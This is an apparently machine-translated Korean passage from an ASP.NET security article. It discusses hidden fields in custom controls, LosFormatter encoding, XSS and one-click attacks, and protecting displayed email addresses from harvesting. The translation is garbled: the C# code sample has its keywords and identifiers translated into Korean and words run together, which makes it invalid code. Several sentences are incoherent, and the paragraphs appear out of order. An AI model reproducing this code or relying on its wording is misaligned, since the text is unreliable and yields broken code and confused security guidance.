ASP.NET에서 숨겨진 필드를 사용하는 것이 허용되는 경우는 언제입니까? 데이터를 서버로 다시 보내야 하는 사용자 지정 컨트롤을 구축하는 경우. 예를 들어 열 재정렬을 지원하는 새 DataGrid 컨트롤을 생성한다고 가정해 보겠습니다. 포스트백을 통해 새 주문을 서버로 다시 보내야 합니다. 이 정보를 숨겨진 필드에 저장하지 않는 경우 어디에 저장할 수 있나요?
숨겨진 필드가 읽기/쓰기 필드인 경우, 즉 클라이언트가 해당 필드에 쓸 것으로 예상되는 경우 해커 공격을 완전히 방지할 수 있는 방법은 없습니다. 텍스트를 해싱하거나 암호화할 수는 있지만 해킹당하지 않을 것이라는 합당한 확신을 줄 수는 없습니다. 이 시점에서 최선의 방어는 숨겨진 필드에 불활성이고 무해한 정보를 포함시키는 것입니다.
또한 ASP.NET은 직렬화된 개체를 인코딩하고 해시하는 데 사용할 수 있는 잘 알려지지 않은 클래스를 노출합니다. 이 클래스는 텍스트 인코딩을 위해 클라이언트에 대한 콜백을 생성하기 위해 ViewState가 구현 하는 것과 동일한 클래스입니다.
개인 문자열 EncodeText(문자열 텍스트) { StringWriter 작가 = 새로운 StringWriter(); LosFormatter 포맷터 = new LosFormatter(); formatter.Serialize(작성기, 텍스트); returnwriter.ToString(); }
이전 코드 조각은 LosFormatter를 사용하여 뷰 상태와 같은 것을 생성하고 인코딩하고 해시하는 방법을 보여줍니다.
이 기사의 마지막 부분에서 가장 일반적인 공격 중 최소한 두 가지(기존 XSS 및 원클릭)는 일반적으로 의심하지 않는 피해자가 링크에 의해 시작되는 유혹적이고 기만적인 공격을 클릭하도록 유도하여 수행된다는 점을 지적하겠습니다. 스팸 방지 필터에도 불구하고 받은 편지함에서 이러한 링크를 찾을 수 있는 경우가 많습니다. 몇 달러로 많은 이메일 주소를 구입할 수 있습니다. 이러한 목록을 생성하는 데 사용되는 주요 기술 중 하나는 웹 사이트의 공개 페이지를 검색하여 전자 메일 메시지처럼 보이는 모든 항목을 찾아 검색하는 것입니다.
이메일 주소가 페이지에 표시되면 조만간 해당 주소가 자동화된 웹 프로그램에 의해 캡처될 가능성이 높습니다. 정말? 물론 이는 이메일이 표시되는 방식에 따라 다릅니다. 하드코딩하면 지는 거죠. 다른 표현 (예 : dinoat-microsoft-dot-com )을 사용하면 자동화 된 웹 프로그램을 속일 것이지만, 당신의 페이지를 읽는 사람이라면 누구나 합법적 인 연결을 화나게 만들고 싶을 것입니다.
일반적으로 Mailto 링크로 이메일을 동적으로 생성하는 방법을 결정해야합니다. Marco Bellinaso가 작성한 무료 구성 요소는 바로 그렇게합니다. dotnet2themax 웹 사이트 에서이 구성 요소에 대한 전체 소스 코드를 얻을 수 있습니다.
누구든지 웹이 모든 런타임 환경 중에서 가장 적대적이라고 의심합니까? 근본 원인은 누구나 웹 사이트에 액세스하여 양호하거나 나쁜 데이터를 전달할 수 있기 때문입니다. 그러나 사용자 입력을 허용하지 않는 웹 응용 프로그램을 만드는 요점은 무엇입니까?
직면 해 보자 : 방화벽이 아무리 강력하더라도, 고유 한 결함이 포함 된 웹 애플리케이션을 실행하는 한, 공격자는 조만간 공격자가 메인 채널에 직접 액세스 할 수 있습니다. 포트 80입니다. 시스템의 핵심으로 가십시오.
ASP.NET 응용 프로그램은 다른 웹 응용 프로그램보다 더 취약하거나 안전하지 않습니다. 보안 및 취약점은 코딩 관행, 실제 경험 및 팀워크에 뿌리를두고 있습니다. 네트워크가 안전하지 않은 경우, 응용 프로그램이 결함이있는 경우 네트워크가 얼마나 안전하고 잘 관리 되더라도, 공격자는 항상 액세스 할 수 있습니다.
ASP.NET의 이점은 약간의 작업으로 보안 표준을 허용 가능한 수준으로 높일 수있는 좋은 도구를 제공한다는 것입니다. 물론 이것은 충분히 높지 않습니다 . ASP.NET의 내장 솔루션에 순전히 의존해서는 안되며 무시해서는 안됩니다. 일반적인 공격에 대해 가능한 한 많이 배우십시오.
이 기사는 주석이 달린 내장 기능 목록과 공격 및 방어에 대한 배경을 제공합니다. 나가는 공격을 감지하는 데 사용되는 기술은 또 다른 문제이며 아마도 자체 기사를받을 자격이 있습니다.